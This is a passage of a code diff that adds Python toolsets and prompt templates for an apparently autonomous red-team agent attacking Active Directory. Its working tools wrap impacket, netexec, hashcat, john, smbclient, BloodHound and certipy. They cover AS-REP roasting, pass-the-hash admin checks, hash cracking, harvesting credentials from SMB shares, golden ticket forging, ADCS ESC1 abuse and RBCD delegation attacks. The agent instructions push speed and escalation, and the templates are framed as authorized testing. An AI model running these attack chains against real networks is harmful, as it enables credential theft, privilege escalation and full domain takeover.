Domain controller IP address + + Returns: + AS-REP hashes for vulnerable user accounts + + Example: + >>> asrep_roast("example.local", "user", "pass", "192.168.1.100") + """ + cmd = [ + "/usr/bin/impacket-GetNPUsers", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + try: + logger.info(f"[*] AS-REP roasting {domain} using {username}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + return result.stdout + + except subprocess.TimeoutExpired: + return "Error: AS-REP roasting timed out" + except Exception as e: + return f"AS-REP roasting failed: {e!s}" + + @dn.tool_method + def domain_admin_checker( + self, + targets: str, + username: str, + password: str = "", + hash: str = "", + ) -> str: + """ + Check if a compromised account has domain admin privileges across multiple targets. + + This tool is CRITICAL for identifying domain admin access. When you find an + Administrator hash or password, IMMEDIATELY use this tool to check ALL targets. + Look for "Pwn3d!" in the output which indicates administrative access. + + Args: + targets: Space-separated IP addresses to check + username: Username for authentication + password: Password for authentication (optional) + hash: NTLM hash for pass-the-hash authentication (optional) + + Returns: + Results showing which targets the account has admin access on + + Example: + >>> domain_admin_checker("192.168.1.100 192.168.1.101", "Administrator", password="P@ss") + >>> domain_admin_checker("192.168.1.100 192.168.1.101", "Administrator", hash="aad3b4...") + """ + try: + cmd = ["netexec", "smb"] + targets.split(" ") + + if password: + logger.info(f"[*] Domain admin checker using password for {username}") + cmd.extend(["-u", username, "-p", password]) + elif hash: + logger.info(f"[*] Domain admin checker using hash for {username}") + cmd.extend(["-u", username, "-H", hash]) + else: + return "[!] Error: Either password or hash must be provided" + + cmd.extend(["-x", "whoami"]) + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + output = "" + if result.stdout: + output += result.stdout + if result.stderr: + output += "\n" + result.stderr if output else result.stderr + + logger.info(f"[*] Domain admin check completed for {targets}") + return output + + except subprocess.TimeoutExpired: + return f"Domain admin checker timed out for {targets}" + except Exception as e: + logger.error(f"Domain admin checker failed: {e}") + return f"Domain admin checker failed: {e}" + + +class CrackingTools(Toolset): + """Tools for password hash cracking.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def crack_with_hashcat( + self, + hash_value: str, + hashcat_mode: int = 13100, + wordlist_path: str = "/usr/share/wordlists/rockyou.txt", + max_time_minutes: int = 10, + ) -> str: + """ + Attempt to crack a password hash using hashcat (GPU-accelerated). + + Hashcat is faster than John the Ripper when GPU is available. Use this FIRST. + Common hash modes: NTLM (1000), Kerberos TGS (13100), Kerberos AS-REP (18200). + + **IMMEDIATELY report any successful cracks - don't wait for completion.** + + Args: + hash_value: Hash to crack + hashcat_mode: Hashcat mode (-m parameter). Common modes: + - 1000: NTLM + - 13100: Kerberos TGS ($krb5tgs$) + - 18200: Kerberos AS-REP ($krb5asrep$) + wordlist_path: Path to wordlist file (default: rockyou.txt) + max_time_minutes: Maximum time to spend cracking (default: 10 minutes) + + Returns: + Cracked passwords if successful, otherwise error message + + Example: + >>> crack_with_hashcat("aad3b435b51404ee...", 1000) # NTLM + >>> crack_with_hashcat("$krb5tgs$23$*user$...", 13100) # Kerberos TGS + """ + output = "[*] Starting hashcat...\n" + + try: + with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: + hash_file.write(hash_value) + hash_file_path = hash_file.name + + try: + cmd = [ + "hashcat", + "-m", + str(hashcat_mode), + "-a", + "0", + hash_file_path, + wordlist_path, + "--runtime", + str(max_time_minutes * 60), + "--force", + ] + + result = subprocess.run( + cmd, + check=False, + capture_output=True, + text=True, + timeout=(max_time_minutes * 60) + 30, + ) + + show_cmd = ["hashcat", "-m", str(hashcat_mode), hash_file_path, "--show"] + + show_result = subprocess.run( + show_cmd, + check=False, + capture_output=True, + text=True, + timeout=30, + ) + + if show_result.stdout.strip(): + output += "\nāœ“ CRACKED PASSWORDS:\n" + show_result.stdout + logger.info("[+] Hashcat successfully cracked hash") + else: + output += "\nāœ— No passwords cracked" + + return output + + finally: + if os.path.exists(hash_file_path): + os.unlink(hash_file_path) + + except subprocess.TimeoutExpired: + return output + "\nError: Hashcat timed out" + except Exception as e: + return output + f"\nError: {e!s}" + + @dn.tool_method + def crack_with_john( + self, + hash_value: str, + hash_format: str = "krb5asrep", + wordlist_path: str = "/usr/share/wordlists/rockyou.txt", + max_time_minutes: int = 10, + ) -> str: + """ + Attempt to crack a password hash using John the Ripper (CPU-based). + + Use this as a fallback if hashcat fails or is unavailable. John is CPU-based + and slower than hashcat, but more compatible with various hash formats. + + Common formats: ntlm, krb5asrep, krb5tgs + + Args: + hash_value: Hash to crack + hash_format: John hash format. Common formats: + - ntlm: NTLM hashes + - krb5asrep: Kerberos AS-REP hashes + - krb5tgs: Kerberos TGS hashes + wordlist_path: Path to wordlist file (default: rockyou.txt) + max_time_minutes: Maximum time to spend cracking (default: 10 minutes) + + Returns: + Cracked passwords if successful, otherwise error message + + Example: + >>> crack_with_john("$krb5asrep$23$user@...", "krb5asrep") + >>> crack_with_john("aad3b435b51404ee...", "ntlm") + """ + output = "[*] Starting John the Ripper...\n" + + try: + with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: + hash_file.write(hash_value) + hash_file_path = hash_file.name + + try: + session_name = f"john_session_{int(time.time())}" + cmd = [ + "john", + "--wordlist=" + wordlist_path, + "--format=" + hash_format, + hash_file_path, + "--session=" + session_name, + ] + + subprocess.run( + cmd, + check=False, + capture_output=True, + text=True, + timeout=(max_time_minutes * 60) + 30, + ) + + show_cmd = ["john", "--show", "--format=" + hash_format, hash_file_path] + + show_result = subprocess.run( + show_cmd, + check=False, + capture_output=True, + text=True, + timeout=30, + ) + + if show_result.stdout.strip(): + output += "\nāœ“ CRACKED PASSWORDS:\n" + show_result.stdout + logger.info("[+] John successfully cracked hash") + else: + output += "\nāœ— No passwords cracked" + + return output + + finally: + if os.path.exists(hash_file_path): + os.unlink(hash_file_path) + + session_files = [ + f"{session_name}.pot", + f"{session_name}.rec", + f"{session_name}.log", + ] + for session_file in session_files: + if os.path.exists(session_file): + try: + os.unlink(session_file) + except Exception: + pass + + except subprocess.TimeoutExpired: + return output + "\nError: John the Ripper timed out" + except Exception as e: + return output + f"\nError: {e!s}" + + +class SharePilferingTools(Toolset): + """Tools for extracting credentials from SMB shares.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def enumerate_share_files( + self, + target: str, + share_name: str, + username: str, + password: str, + ) -> str: + """ + Recursively enumerate all files in an SMB share to find credential-bearing files. + + This is the FIRST step in share pilfering. Use this to discover interesting files, + then use download_file_content to examine them. Prioritize files with extensions: + .ps1, .bat, .cmd, .xml, .ini, .conf, .config + + Args: + target: Target IP address + share_name: Name of the SMB share (e.g., 'SYSVOL', 'C$', 'NETLOGON') + username: Username for authentication + password: Password for authentication + + Returns: + Recursive file listing of the share + + Example: + >>> enumerate_share_files("192.168.1.100", "SYSVOL", "user", "pass") + """ + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + "recurse ON; ls", + ] + + logger.info(f"[*] Enumerating files in {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + if result.returncode != 0: + logger.error(f"[!] Failed to list files: {result.stderr}") + return f"Failed to list files: {result.stderr}" + + return result.stdout + + except subprocess.TimeoutExpired: + logger.error(f"[!] File enumeration timed out for {share_path}") + return "File enumeration timed out" + except Exception as e: + logger.error(f"[!] Error during enumeration: {e!s}") + return f"Error during enumeration: {e!s}" + + @dn.tool_method + def download_file_content( + self, + target: str, + share_name: str, + file_path: str, + username: str, + password: str, + max_size_mb: int = 5, + ) -> str: + """ + Download and return the content of a file from an SMB share. + + Use this after enumerate_share_files to examine promising files. Look for: + - Plaintext passwords in PowerShell scripts + - GPP cpassword values in XML files + - Connection strings in config files + - API keys and tokens + + Args: + target: Target IP address + share_name: Name of the SMB share + file_path: Path to the file within the share (e.g., 'scripts/deploy.ps1') + username: Username for authentication + password: Password for authentication + max_size_mb: Maximum file size to download in MB (default: 5) + + Returns: + Content of the downloaded file + + Example: + >>> download_file_content("192.168.1.100", "SYSVOL", "Policies/script.ps1", "user", "pass") + """ + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + f"get {file_path} /dev/stdout", + ] + + logger.info(f"[*] Downloading {file_path} from {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + + if result.returncode != 0: + logger.error(f"[!] Failed to download file: {result.stderr}") + return f"Failed to download file: {result.stderr}" + + content = result.stdout + logger.info(f"[+] Downloaded {len(content)} bytes from {file_path}") + + # Log that share was accessed + if self.state: + logger.info(f"[+] Successfully accessed share {share_name} on {target}") + + return content + + except subprocess.TimeoutExpired: + logger.error(f"[!] File download timed out for {file_path}") + return "File download timed out" + except Exception as e: + logger.error(f"[!] Error downloading file: {e!s}") + return f"Error downloading file: {e!s}" + + +class GoldenTicketTools(Toolset): + """Tools for Kerberos golden ticket generation and domain escalation.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def get_sid( + self, + domain: str, + username: str, + password: str, + dc_ip: str | None = None, + ) -> str: + """ + Get the SID (Security Identifier) of a domain. + + This is required for golden ticket generation. You need to get SIDs for BOTH: + 1. The compromised domain (where you have the krbtgt hash) + 2. The target domain (where you want to escalate) + + Args: + domain: Target domain (e.g., 'subdomain.example.local') + username: Valid domain username + password: Password for the username + dc_ip: Optional DC IP address to connect to (recommended to avoid DNS issues) + + Returns: + Domain SID and list of domain users (look for "[*] Domain SID is: ...") + + Example: + >>> get_sid("child.example.local", "user", "pass", "192.168.1.100") + >>> get_sid("parent.example.local", "user", "pass", "192.168.1.101") + """ + if dc_ip: + cmd = ["impacket-lookupsid", f"{domain}/{username}:{password}@{dc_ip}"] + logger.info(f"[*] Getting SID for {domain} using {username} via DC {dc_ip}") + else: + cmd = ["impacket-lookupsid", f"{username}:{password}@{domain}"] + logger.info(f"[*] Getting SID for {domain} using {username}") + + try: + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + logger.info(f"[*] SID lookup completed for {domain}") + return result.stdout + except subprocess.TimeoutExpired: + return "Error: SID lookup timed out" + except Exception as e: + return f"Error: {e!s}" + + @dn.tool_method + def generate_golden_ticket( + self, + krbtgt_hash: str, + domain_sid: str, + domain: str, + extra_sid: str, + ) -> str: + """ + Generate a Kerberos golden ticket for Administrator to enable domain escalation. + + **This is the ULTIMATE privilege escalation technique.** A golden ticket gives + you persistent, enterprise-level access to the entire domain forest. + + CRITICAL: The extra_sid should be the target domain SID with "-519" appended + (Enterprise Admins group). This enables cross-domain privilege escalation. + + Args: + krbtgt_hash: NTLM hash of the krbtgt account (from secretsdump) + domain_sid: SID of the compromised domain (from get_sid) + domain: Domain to generate ticket for (same as domain_sid domain) + extra_sid: Target domain SID with "-519" appended (Enterprise Admins) + + Returns: + Golden ticket generation output (saves to Administrator.ccache) + + Example: + >>> generate_golden_ticket( + ... "abc123...", # krbtgt hash + ... "S-1-5-21-123-456-789", # compromised domain SID + ... "child.example.local", # compromised domain + ... "S-1-5-21-111-222-333-519" # target domain SID + 519 + ... ) + """ + cmd = [ + "impacket-ticketer", + "-nthash", + krbtgt_hash, + "-domain-sid", + domain_sid, + "-domain", + domain, + "-extra-sid", + extra_sid, + "-user-id", + "500", + "Administrator", + ] + + try: + logger.info("[*] Generating golden ticket for Administrator") + logger.info(f"[*] Domain: {domain}, SID: {domain_sid}, Extra SID: {extra_sid}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + if self.state: + self.state.has_golden_ticket = True + # Add timeline event + event = TimelineEvent( + id=f"evt-{len(self.state.timeline):04d}", + timestamp=datetime.utcnow(), + description=f"Golden ticket generated for {domain}", + mitre_techniques=["T1558.001"], # Golden Ticket + confidence=1.0, + source="golden_ticket_generation", + ) + self.state.timeline.append(event) + + return result.stdout + except subprocess.TimeoutExpired: + return "Error: Golden ticket generation timed out" + except Exception as e: + return f"Error: {e!s}" + + +class BloodHoundTools(Toolset): + """Tools for ACL enumeration and privilege escalation path discovery.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def run_bloodhound( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + ) -> str: + """ + Run BloodHound collection to discover ACL abuse paths and delegation. + + BloodHound reveals hidden privilege escalation opportunities: + - Users with GenericAll/GenericWrite (shadow credentials, targeted kerberoast) + - Unconstrained/constrained delegation + - Shortest paths to Domain Admins + - ACL-based attack chains + + CRITICAL: Run this with ANY valid credentials to find escalation paths. + + Args: + domain: Target domain (e.g., 'sevenkingdoms.local') + username: Valid domain username + password: Password for authentication + dc_ip: Domain controller IP address + + Returns: + Status and JSON file paths for analysis + + Example: + >>> run_bloodhound("sevenkingdoms.local", "samwell.tarly", "Heartsbane", "192.168.56.10") + """ + cmd = [ + "bloodhound-python", + "-d", + domain, + "-u", + username, + "-p", + password, + "-ns", + dc_ip, + "-c", + "All", + ] + + try: + logger.info(f"[*] Running BloodHound collection for {domain}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=600) + + logger.info("[+] BloodHound collection completed") + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + return "BloodHound collection timed out after 10 minutes" + except Exception as e: + logger.error(f"BloodHound failed: {e}") + return f"BloodHound failed: {e}" + + +class CertipyTools(Toolset): + """Tools for Active Directory Certificate Services exploitation.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def certipy_find( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + ) -> str: + """ + Enumerate ADCS for vulnerable certificate templates (ESC1-15). + + ADCS misconfigurations enable privilege escalation to Domain Admin: + - ESC1: Request cert as any user (including Domain Admin) + - ESC2/3: Any Purpose EKU or Certificate Request Agent + - ESC4: Vulnerable template ACLs + - ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 + - ESC8: NTLM relay to web enrollment + + If vulnerable templates found, use certipy_exploit_esc1 to escalate. + + Args: + domain: Target domain + username: Valid domain username + password: Password for authentication + dc_ip: Domain controller IP address + + Returns: + List of CAs and vulnerable certificate templates + + Example: + >>> certipy_find("sevenkingdoms.local", "samwell.tarly", "Heartsbane", "192.168.56.10") + """ + cmd = [ + "certipy", + "find", + "-u", + f"{username}@{domain}", + "-p", + password, + "-dc-ip", + dc_ip, + "-vulnerable", + "-stdout", + ] + + try: + logger.info(f"[*] Enumerating ADCS for {domain}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) + + if "ESC" in result.stdout: + logger.warning("[!] VULNERABLE CERTIFICATE TEMPLATES FOUND!") + + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + return "Certipy enumeration timed out" + except Exception as e: + return f"Certipy enumeration failed: {e}" + + @dn.tool_method + def certipy_req_esc1( + self, + domain: str, + username: str, + password: str, + ca_name: str, + template_name: str, + target_upn: str, + dc_ip: str, + ) -> str: + """ + Exploit ESC1 to request certificate for any user (Domain Admin path). + + ESC1 allows requesting certs for ANY user when template has + "Enrollee Supplies Subject". Direct path to Domain Admin. + + After obtaining cert, use certipy_auth to get NTLM hash. + + Args: + domain: Target domain + username: Your compromised username + password: Password for authentication + ca_name: CA name from certipy_find + template_name: Vulnerable template name + target_upn: Target UPN (e.g., 'administrator@sevenkingdoms.local') + dc_ip: Domain controller IP + + Returns: + Certificate PFX file path + + Example: + >>> certipy_req_esc1("sevenkingdoms.local", "user", "pass", "CA-NAME", "ESC1Template", "administrator@sevenkingdoms.local", "192.168.56.10") + """ + cmd = [ + "certipy", + "req", + "-u", + f"{username}@{domain}", + "-p", + password, + "-dc-ip", + dc_ip, + "-ca", + ca_name, + "-template", + template_name, + "-upn", + target_upn, + ] + + try: + logger.info(f"[*] Requesting certificate for {target_upn} via ESC1") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + if "saved" in result.stdout.lower(): + logger.info("[+] Certificate obtained! Use certipy_auth next.") + + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + return "Certificate request timed out" + except Exception as e: + return f"Certificate request failed: {e}" + + @dn.tool_method + def certipy_auth(self, pfx_path: str, dc_ip: str) -> str: + """ + Authenticate with certificate to obtain NTLM hash. + + Use after certipy_req_esc1 to get the target user's NTLM hash. + IMMEDIATELY use the hash with domain_admin_checker. + + Args: + pfx_path: Path to PFX certificate file + dc_ip: Domain controller IP address + + Returns: + NTLM hash for the authenticated user + + Example: + >>> certipy_auth("administrator.pfx", "192.168.56.10") + """ + cmd = ["certipy", "auth", "-pfx", pfx_path, "-dc-ip", dc_ip] + + try: + logger.info("[*] Authenticating with certificate") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + + if "hash" in result.stdout.lower(): + logger.info("[+] NTLM hash obtained! Run domain_admin_checker.") + + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + return "Certificate authentication timed out" + except Exception as e: + return f"Certificate authentication failed: {e}" + + +class DelegationTools(Toolset): + """Tools for Kerberos delegation attacks (RBCD, unconstrained, constrained).""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def find_delegation( + self, + domain: str, + username: str, + password: str, + dc_ip: str, + ) -> str: + """ + Find accounts with delegation enabled. + + Delegation enables privilege escalation: + - Unconstrained: Capture TGTs from connecting users (DC compromise) + - Constrained: Impersonate users to specific services + - RBCD: Attacker-controlled delegation (requires GenericWrite) + + Args: + domain: Target domain + username: Valid domain username + password: Password for authentication + dc_ip: Domain controller IP address + + Returns: + List of accounts with delegation + + Example: + >>> find_delegation("sevenkingdoms.local", "samwell.tarly", "Heartsbane", "192.168.56.10") + """ + cmd = [ + "impacket-findDelegation", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + ] + + try: + logger.info(f"[*] Searching for delegation in {domain}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + return result.stdout + except subprocess.TimeoutExpired: + return "Delegation search timed out" + except Exception as e: + return f"Delegation search failed: {e}" + + @dn.tool_method + def add_computer( + self, + domain: str, + username: str, + password: str, + computer_name: str, + computer_password: str, + dc_ip: str, + ) -> str: + """ + Add computer account (requires MAQ > 0, default is 10). + + Computer accounts required for RBCD attacks. + + Args: + domain: Target domain + username: Valid domain username + password: Password for authentication + computer_name: Name for new computer (without $) + computer_password: Password for the computer account + dc_ip: Domain controller IP + + Returns: + Status of computer account creation + + Example: + >>> add_computer("sevenkingdoms.local", "user", "pass", "EVILPC", "P@ss123!", "192.168.56.10") + """ + cmd = [ + "impacket-addcomputer", + f"{domain}/{username}:{password}", + "-computer-name", + computer_name, + "-computer-pass", + computer_password, + "-dc-ip", + dc_ip, + ] + + try: + logger.info(f"[*] Adding computer account {computer_name}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + logger.info(f"[+] Computer account {computer_name}$ created") + return result.stdout + except subprocess.TimeoutExpired: + return "Computer account creation timed out" + except Exception as e: + return f"Computer account creation failed: {e}" + + @dn.tool_method + def rbcd_write( + self, + domain: str, + username: str, + password: str, + delegate_from: str, + delegate_to: str, + dc_ip: str, + ) -> str: + """ + Configure RBCD for privilege escalation. + + Attack chain: add_computer -> rbcd_write -> get_st -> secretsdump + + Args: + domain: Target domain + username: Username with GenericWrite on target + password: Password for authentication + delegate_from: Your controlled computer (with $) + delegate_to: Target computer (with $) + dc_ip: Domain controller IP + + Returns: + Status of RBCD configuration + + Example: + >>> rbcd_write("sevenkingdoms.local", "user", "pass", "EVILPC$", "DC01$", "192.168.56.10") + """ + cmd = [ + "impacket-rbcd", + "-delegate-from", + delegate_from, + "-delegate-to", + delegate_to, + "-action", + "write", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + ] + + try: + logger.info(f"[*] Configuring RBCD: {delegate_from} -> {delegate_to}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + logger.info("[+] RBCD configured - use get_st next") + return result.stdout + except subprocess.TimeoutExpired: + return "RBCD configuration timed out" + except Exception as e: + return f"RBCD configuration failed: {e}" + + @dn.tool_method + def get_st( + self, + domain: str, + computer_name: str, + computer_password: str, + target_spn: str, + impersonate_user: str, + dc_ip: str, + ) -> str: + """ + Request service ticket while impersonating user (after RBCD). + + After rbcd_write, get ticket as Administrator for target service. + + Args: + domain: Target domain + computer_name: Your controlled computer (with $) + computer_password: Computer password + target_spn: Target SPN (e.g., 'cifs/dc01.sevenkingdoms.local') + impersonate_user: User to impersonate ('Administrator') + dc_ip: Domain controller IP + + Returns: + Service ticket saved as .ccache - use with KRB5CCNAME + + Example: + >>> get_st("sevenkingdoms.local", "EVILPC$", "P@ss!", "cifs/dc01.sevenkingdoms.local", "Administrator", "192.168.56.10") + """ + cmd = [ + "impacket-getST", + "-spn", + target_spn, + "-impersonate", + impersonate_user, + "-dc-ip", + dc_ip, + f"{domain}/{computer_name}:{computer_password}", + ] + + try: + logger.info(f"[*] Requesting ST for {target_spn} as {impersonate_user}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + if ".ccache" in result.stdout: + logger.info("[+] Ticket obtained! Export KRB5CCNAME and use secretsdump -k") + + return result.stdout + except subprocess.TimeoutExpired: + return "Service ticket request timed out" + except Exception as e: + return f"Service ticket request failed: {e}" + + +class RedTeamReportingTools(Toolset): + """Tools for recording findings and building the operation report.""" + + state: RedTeamState | None = None + + def set_state(self, state: RedTeamState) -> None: + """Set the operation state for this toolset.""" + self.state = state + + @dn.tool_method + def record_finding( + self, + finding_type: str, + data: dict[str, Any], + ) -> str: + """ + Record a discovery during the red team operation. + + Use this tool to report EVERY significant finding: + - Users discovered + - Credentials (username:password pairs) + - NTLM hashes + - Kerberos hashes + - Network shares + - Cracked passwords + - Administrative access (Pwn3d!) + - Domain admin discovery + - Golden ticket success + + Args: + finding_type: Type of finding - one of: + "host", "user", "credential", "hash", "share", + "admin_access", "domain_admin", "golden_ticket" + data: Dictionary containing the finding data. Required fields per type: + - host: {"ip": str, "hostname": str, "os": str, "roles": list, "services": list} + - user: {"username": str, "domain": str, "description": str, "is_admin": bool} + - credential: {"username": str, "password": str, "domain": str, "source": str, "is_admin": bool} + - hash: {"username": str, "hash_value": str, "hash_type": str, "domain": str, "cracked_password": str} + - share: {"host": str, "name": str, "permissions": str, "comment": str} + - admin_access: {"details": str} + + Returns: + Confirmation message + + Example: + >>> record_finding("credential", { + ... "username": "administrator", + ... "password": "P@ssw0rd", + ... "domain": "EXAMPLE", + ... "source": "secretsdump", + ... "is_admin": True + ... }) + >>> record_finding("hash", { + ... "username": "Administrator", + ... "hash_value": "aad3b435b51404ee...", + ... "hash_type": "NTLM", + ... "domain": "EXAMPLE" + ... }) + >>> record_finding("share", { + ... "host": "192.168.1.100", + ... "name": "SYSVOL", + ... "permissions": "READ", + ... "comment": "Logon server share" + ... }) + """ + if not self.state: + return "[!] Error: No operation state available" + + try: + if finding_type == "host": + host = Host( + ip=data["ip"], + hostname=data.get("hostname", "Unknown"), + os=data.get("os", "Unknown"), + roles=data.get( + "roles", data.get("host_type", "").split() if data.get("host_type") else [] + ), + services=data.get("services", []), + ) + self.state.hosts.append(host) + logger.info(f"[+] Recorded host: {host.hostname} ({host.ip})") + return f"āœ“ Recorded host: {host.hostname} ({host.ip})" + + if finding_type == "user": + user = User( + username=data["username"], + domain=data.get("domain", ""), + description=data.get("description", ""), + is_admin=data.get("is_admin", False), + ) + self.state.users.append(user) + logger.info(f"[+] Recorded user: {user.username}@{user.domain}") + return f"āœ“ Recorded user: {user.username}@{user.domain}" + + if finding_type == "credential": + cred = Credential( + username=data.get("username", "Unknown"), + password=data.get("password", ""), + domain=data.get("domain", ""), + source=data.get("source", "unknown"), + is_admin=data.get("is_admin", False), + ) + self.state.credentials.append(cred) + + # Track tested credentials + cred_key = self.state.get_credential_key(cred.username, cred.password, cred.domain) + self.state.tested_credentials.add(cred_key) + + logger.info(f"[+] Recorded credential: {cred.username}@{cred.domain}") + return f"āœ“ Recorded credential: {cred.username}@{cred.domain}" + + if finding_type == "hash": + hash_obj = Hash( + username=data.get("username", "Unknown"), + hash_value=data["hash_value"], + hash_type=data.get("hash_type", "NTLM"), + domain=data.get("domain", ""), + cracked_password=data.get("cracked_password", ""), + ) + self.state.hashes.append(hash_obj) + logger.info(f"[+] Recorded hash for: {hash_obj.username}") + return f"āœ“ Recorded hash for: {hash_obj.username}" + + if finding_type == "share": + share = Share( + host=data.get("host_ip", data.get("host", "")), + name=data.get("share_name", data.get("name", "")), + permissions=data.get("permissions", ""), + comment=data.get("comment", data.get("description", "")), + ) + self.state.shares.append(share) + logger.info(f"[+] Recorded share: {share.name} on {share.host}") + return f"āœ“ Recorded share: {share.name} on {share.host}" + + if finding_type == "admin_access": + self.state.has_domain_admin = True + event = TimelineEvent( + id=f"evt-{len(self.state.timeline):04d}", + timestamp=datetime.utcnow(), + description=f"Domain admin access achieved: {data.get('details', '')}", + mitre_techniques=["T1078.002"], # Domain Accounts + confidence=1.0, + source="domain_admin_checker", + ) + self.state.timeline.append(event) + logger.info("[+] CRITICAL: Domain admin access recorded!") + return "āœ“ CRITICAL: Domain admin access recorded!" + + return f"[!] Unknown finding type: {finding_type}" + + except Exception as e: + logger.error(f"[!] Error recording finding: {e}") + return f"[!] Error recording finding: {e}" diff --git a/templates/redteam/agents/cracker_instructions.md.jinja b/templates/redteam/agents/cracker_instructions.md.jinja new file mode 100644 index 00000000..9be5cb0d --- /dev/null +++ b/templates/redteam/agents/cracker_instructions.md.jinja @@ -0,0 +1,39 @@ +# Password Cracking Agent + +You are a specialized password cracking agent designed to crack discovered hashes in authorized Active Directory penetration testing environments. + +## CORE MISSION + +Your primary goal is to rapidly crack password hashes to provide new credentials for continued enumeration and lateral movement. **Speed is critical** - other agents are waiting for these credentials. + +## HASH TYPES YOU'LL ENCOUNTER + +- **Kerberos AS-REP hashes** ($krb5asrep$) - Use hashcat -m 18200 or john --format=krb5asrep +- **Kerberos TGS hashes** ($krb5tgs$) - Use hashcat -m 13100 or john --format=krb5tgs +- **NTLM hashes** - Use hashcat -m 1000 or john --format=ntlm +- **Other Windows hashes** as discovered + +## CRACKING WORKFLOW + +1. **IDENTIFY** hash type from the hash string format +2. **Try hashcat FIRST** with appropriate mode (-m parameter) +3. **If hashcat fails or times out**, try john the ripper with correct format +4. **Use /usr/share/wordlists/rockyou.txt** as primary wordlist +5. **Limit initial attempts to 5-10 minutes** for speed +6. **IMMEDIATELY report any successful cracks** - don't wait + +## CRITICAL SUCCESS BEHAVIORS + +- When you crack a password, **IMMEDIATELY report it** with username and password +- Extract the username from the hash string when reporting +- Include domain information if present in the hash +- Report both successful cracks AND failures quickly + +## EFFICIENCY REQUIREMENTS + +- Prioritize speed over exhaustive cracking +- Focus on common/weak passwords that crack quickly +- Don't spend excessive time on difficult hashes +- Report failures after reasonable attempt so other agents can continue + +**Remember**: Other agents depend on your speed. Quick credential discovery enables continued enumeration and privilege escalation. diff --git a/templates/redteam/agents/cracker_task.md.jinja b/templates/redteam/agents/cracker_task.md.jinja new file mode 100644 index 00000000..c5d073e9 --- /dev/null +++ b/templates/redteam/agents/cracker_task.md.jinja @@ -0,0 +1,9 @@ +# Password Cracking Task + +Attempt to crack the following hash: + +**Hash Value**: `{{ hash_value }}` + +**Hash Type**: `{{ hash_type }}` + +Follow the cracking workflow and report results immediately. diff --git a/templates/redteam/agents/golden_ticket_instructions.md.jinja b/templates/redteam/agents/golden_ticket_instructions.md.jinja new file mode 100644 index 00000000..c608a356 --- /dev/null +++ b/templates/redteam/agents/golden_ticket_instructions.md.jinja @@ -0,0 +1,17 @@ +# Golden Ticket Agent + +You are a specialized golden ticket agent designed to generate golden tickets for authorized Active Directory penetration testing environments. + +## GOAL + +Create a golden ticket for Administrator and dump secrets on the target domain. + +## WORKFLOW + +The steps are as follows: + +1. **Get the SID of the compromised domain** using the get_sid tool +2. **Get the SID of the target domain** using the get_sid tool +3. **Generate a golden ticket for Administrator** using the generate_golden_ticket tool + +This will enable persistence and lateral movement across domain boundaries, giving you enterprise-level access for continued enumeration. diff --git a/templates/redteam/agents/golden_ticket_task.md.jinja b/templates/redteam/agents/golden_ticket_task.md.jinja new file mode 100644 index 00000000..7e544384 --- /dev/null +++ b/templates/redteam/agents/golden_ticket_task.md.jinja @@ -0,0 +1,35 @@ +# Golden Ticket Generation Task + +Generate a golden ticket and dump secrets on the target domain. + +## Parameters + +- **KRBTGT Hash**: {{ krbtgt_hash }} +- **Compromised User**: {{ user_name }} +- **User Password**: {{ password }} +- **Compromised Domain**: {{ compromised_domain }} +- **Target Domain**: {{ target_domain }} +{% if compromised_dc_ip %}- **Compromised DC IP**: {{ compromised_dc_ip }}{% endif %} +{% if target_dc_ip %}- **Target DC IP**: {{ target_dc_ip }}{% endif %} + +## Steps + +1. **First**, use the get_sid tool to get the SID of the compromised domain **{{ compromised_domain }}**. + - Username: {{ user_name }} + - Password: {{ password }} + {% if compromised_dc_ip %}- Use dc_ip={{ compromised_dc_ip }} to connect to the domain controller{% endif %} + - Look for the line: "[*] Domain SID is: ..." + +2. **Second**, use the get_sid tool to get the SID of the target domain **{{ target_domain }}**. + - Username: {{ user_name }} + - Password: {{ password }} + {% if target_dc_ip %}- Use dc_ip={{ target_dc_ip 